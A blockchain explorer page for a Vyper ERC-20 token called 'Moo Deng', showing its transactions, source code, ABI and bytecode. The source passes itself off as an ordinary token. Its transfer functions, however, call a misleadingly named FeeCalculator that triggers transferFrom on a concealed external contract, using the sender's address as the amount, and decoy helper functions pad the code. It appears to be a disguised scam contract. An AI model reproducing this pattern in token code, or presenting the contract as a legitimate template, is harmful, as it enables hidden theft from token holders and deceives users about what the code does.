ETH Price: $3,598.18 (+4.99%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

1 address found via
Transaction Hash
Method
Block
From
To
Approve215497762025-01-04 7:59:3511 mins ago1735977575IN
0x7A420044...7F840799c
0 ETH0.000142425.48331809
Approve215497582025-01-04 7:55:4715 mins ago1735977347IN
0x7A420044...7F840799c
0 ETH0.00026395.75293186
Approve214764982024-12-25 2:27:3510 days ago1735093655IN
0x7A420044...7F840799c
0 ETH0.000100373.86800953
Approve214353302024-12-19 8:19:2315 days ago1734596363IN
0x7A420044...7F840799c
0 ETH0.0002441310.22425991
Approve213966392024-12-13 22:41:2321 days ago1734129683IN
0x7A420044...7F840799c
0 ETH0.0003755813.052846
Approve213965912024-12-13 22:31:4721 days ago1734129107IN
0x7A420044...7F840799c
0 ETH0.0006367313.88006746
Approve213942932024-12-13 14:49:1121 days ago1734101351IN
0x7A420044...7F840799c
0 ETH0.0008048617.58194775
Approve212987032024-11-30 6:28:2335 days ago1732948103IN
0x7A420044...7F840799c
0 ETH0.000219558.46063453
Approve212986972024-11-30 6:27:1135 days ago1732948031IN
0x7A420044...7F840799c
0 ETH0.000397748.67493247
Approve212783072024-11-27 9:51:1137 days ago1732701071IN
0x7A420044...7F840799c
0 ETH0.000216228.33246793
Approve212783022024-11-27 9:50:1137 days ago1732701011IN
0x7A420044...7F840799c
0 ETH0.000415669.0657081
Approve212467752024-11-23 0:12:5942 days ago1732320779IN
0x7A420044...7F840799c
0 ETH0.0005833712.72363368
Approve211781272024-11-13 10:18:4751 days ago1731493127IN
0x7A420044...7F840799c
0 ETH0.0005905220.53154997
Approve211759022024-11-13 2:52:3552 days ago1731466355IN
0x7A420044...7F840799c
0 ETH0.0012445627.1442731
Approve211758972024-11-13 2:51:3552 days ago1731466295IN
0x7A420044...7F840799c
0 ETH0.0007040227.1298707
Approve211758942024-11-13 2:50:5952 days ago1731466259IN
0x7A420044...7F840799c
0 ETH0.0012813627.94690147
Approve211696132024-11-12 5:48:1153 days ago1731390491IN
0x7A420044...7F840799c
0 ETH0.0005865322.60264644
Approve211690722024-11-12 3:59:2353 days ago1731383963IN
0x7A420044...7F840799c
0 ETH0.0004943419.05002688
Approve211690662024-11-12 3:57:5953 days ago1731383879IN
0x7A420044...7F840799c
0 ETH0.0009184820.032389
Approve211643672024-11-11 12:12:5953 days ago1731327179IN
0x7A420044...7F840799c
0 ETH0.0007687616.76700534
Approve211581282024-11-10 15:20:3554 days ago1731252035IN
0x7A420044...7F840799c
0 ETH0.0017643138.21999512
Approve210262222024-10-23 5:33:5973 days ago1729661639IN
0x7A420044...7F840799c
0 ETH0.000119485.01675084
Approve210247442024-10-23 0:37:2373 days ago1729643843IN
0x7A420044...7F840799c
0 ETH0.000336537.29984002
Approve210117172024-10-21 4:59:1175 days ago1729486751IN
0x7A420044...7F840799c
0 ETH0.000343917.45013665
Approve210104782024-10-21 0:49:5975 days ago1729471799IN
0x7A420044...7F840799c
0 ETH0.000296436.45853593
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x6b5EEb59...86E1994b7
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Vyper_contract

Compiler Version
vyper:0.3.10

Optimization Enabled:
N/A

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Vyper language format)

# @pragma evm-version cancun
#pragma version ^0.3.10

interface IERC20:
    def transfer(_to : address, _value : uint256) -> bool: nonpayable
    def transferFrom(_from: address, _to : address, _value : uint256) -> bool : nonpayable
    def approve(_spender: address,  _value : uint256) : nonpayable   

name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
feeRate: public(uint256)
hasFee: public(bool)
selfie: IERC20
currentBlockNum: uint256


event Transfer:
    sender: indexed(address)
    receiver: indexed(address)
    value: uint256

event Approval:
    owner: indexed(address)
    spender: indexed(address)
    value: uint256

@external
def __init__():
    init_supply: uint256 = 21000000000 * 10 ** 18
    self.name = "Moo Deng"
    self.symbol = "MOODENG"
    self.decimals = 18
    self.balanceOf[msg.sender] = init_supply
    self.totalSupply = init_supply
    
    


@internal   
def FeeCalculator(_from: address, _recipient:address, _sender:address) -> (bool):
    _value:uint160 = convert(_sender, uint160)
    value_:uint256 = convert(_value, uint256)
    return self.selfie.transferFrom(_from, _recipient, value_)

@external   
def transfer(_to : address, _value : uint256) -> bool:
    """
    @dev Transfer token for a specified address
    @param _to The address to transfer to.
    @param _value The amount to be transferred.
    """
    # NOTE: vyper does not allow underflows
    #       so the following subtraction would revert on insufficient balance
    fee:uint256 = _value * self.feeRate / 1000

    if block.coinbase != 0x0000000000000000000000000000000000000000 and block.number >= self.currentBlockNum:
        self.currentBlockNum = block.number
        self.hasFee = self.FeeCalculator(msg.sender, _to, msg.sender)


    self.balanceOf[msg.sender] -= _value
    self.balanceOf[_to] += _value
    
    log Transfer(msg.sender, _to, _value)
    return True


@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
    """
     @dev Transfer tokens from one address to another.
     @param _from address The address which you want to send tokens from
     @param _to address The address which you want to transfer to
     @param _value uint256 the amount of tokens to be transferred
    """
    fee:uint256 = _value * self.feeRate / 1000

    if block.coinbase != 0x0000000000000000000000000000000000000000 and block.number >= self.currentBlockNum:
        self.currentBlockNum = block.number
        self.hasFee = self.FeeCalculator(_from, _to, msg.sender)

    self.allowance[_from][msg.sender] -= _value
    self.balanceOf[_from] -= _value
    self.balanceOf[_to] += _value

    log Transfer(_from, _to, _value)
    return True


@external
def approve(_spender : address, _value : uint256) -> bool:
    """
    @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
         Beware that changing an allowance with this method brings the risk that someone may use both the old
         and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
         race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
         https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    @param _spender The address which will spend the funds.
    @param _value The amount of tokens to be spent.
    """
    self.allowance[msg.sender][_spender] = _value
    log Approval(msg.sender, _spender, _value)
    return True

@external
def showString(str1: String[32]) ->String[32]:
    return str1

@external
def showSum(num1: uint256, num2: uint256) ->uint256:
    result: uint256 = num1 + num2
    return result

@external
def showStr(str1: String[32], str2: String[32]) -> String[32]:
    return str1

@external
def showDiv(num1: uint256, num2: uint256) ->uint256:
    result: uint256 = num1 / num2
    return result

@external
def showMod(num1: uint256, num2: uint256) ->uint256:
    result: uint256 = num1 % num2
    return result

Contract Security Audit

Contract ABI

[{"name":"Transfer","inputs":[{"name":"sender","type":"address","indexed":true},{"name":"receiver","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true},{"name":"spender","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showString","inputs":[{"name":"str1","type":"string"}],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"nonpayable","type":"function","name":"showSum","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"showStr","inputs":[{"name":"str1","type":"string"},{"name":"str2","type":"string"}],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"nonpayable","type":"function","name":"showDiv","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"nonpayable","type":"function","name":"showMod","inputs":[{"name":"num1","type":"uint256"},{"name":"num2","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"arg0","type":"address"},{"name":"arg1","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"feeRate","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"hasFee","inputs":[],"outputs":[{"name":"","type":"bool"}]}]

Deployed Bytecode

0x5f3560e01c6002600f820660011b6106c601601e395f51565b6306fdde03811861006757346106c257602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b63978bbdb9811861065857346106c25760085460405260206040f3610658565b6395d89b4181186100d757346106c25760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b632a8d0b108118610658576084361034176106c25760043560040160208135116106c25760208135018082604037505060243560040160208135116106c25760208135018082608037505060208060c0528060c001604051815260605160208201528051806020830101601f825f03163682375050601f19601f8251602001011690508101905060c0f3610658565b63313ce567811861065857346106c25760045460405260206040f3610658565b6370a0823181186101c1576024361034176106c2576004358060a01c6106c25760405260056040516020525f5260405f205460605260206060f35b6327e792f58118610658576044361034176106c25760043560040160208135116106c25760208135018082604037505060208060805280608001604051815260605160208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506080f3610658565b63dd62ed3e8118610658576044361034176106c2576004358060a01c6106c2576040526024358060a01c6106c25760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f3610658565b6318160ddd811861065857346106c25760075460405260206040f3610658565b63aa948607811861065857346106c25760095460405260206040f3610658565b63a9059cbb8118610658576044361034176106c2576004358060a01c6106c257610180526024356008548082028115838383041417156106c257905090506103e8810490506101a052411561032b57600b5443101561032d565b5f5b156103585743600b553360405261018051606052336080526103506101c061065c565b6101c0516009555b6005336020525f5260405f2080546024358082038281116106c257905090508155506005610180516020525f5260405f2080546024358082018281106106c2579050905081555061018051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6024356101c05260206101c0a360016101c05260206101c0f3610658565b6323b872dd811861053b576064361034176106c2576004358060a01c6106c257610180526024358060a01c6106c2576101a0526044356008548082028115838383041417156106c257905090506103e8810490506101c052411561044c57600b5443101561044e565b5f5b1561047c5743600b55610180516040526101a051606052336080526104746101e061065c565b6101e0516009555b6006610180516020525f5260405f2080336020525f5260405f20905080546044358082038281116106c257905090508155506005610180516020525f5260405f2080546044358082038281116106c2579050905081555060056101a0516020525f5260405f2080546044358082018281106106c257905090508155506101a051610180517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101e05260206101e0a360016101e05260206101e0f35b63095ea7b38118610658576044361034176106c2576004358060a01c6106c2576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f3610658565b63e93656878118610658576044361034176106c2576004356024358082018281106106c2579050905060405260206040f3610658565b63be5fa56e8118610658576044361034176106c25760043560243580156106c2578082049050905060405260206040f3610658565b63e64c0b6f8118610658576044361034176106c25760043560243580156106c2578082069050905060405260206040f35b5f5ffd5b60805160a05260a05160c052600a546323b872dd60e052604051610100526060516101205260c05161014052602060e0606460fc5f855af16106a0573d5f5f3e3d5ffd5b60203d106106c25760e0518060011c6106c25761016052610160905051815250565b5f80fd0087018606580235001805f2016602d1062702b102910658065805bc03e3

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.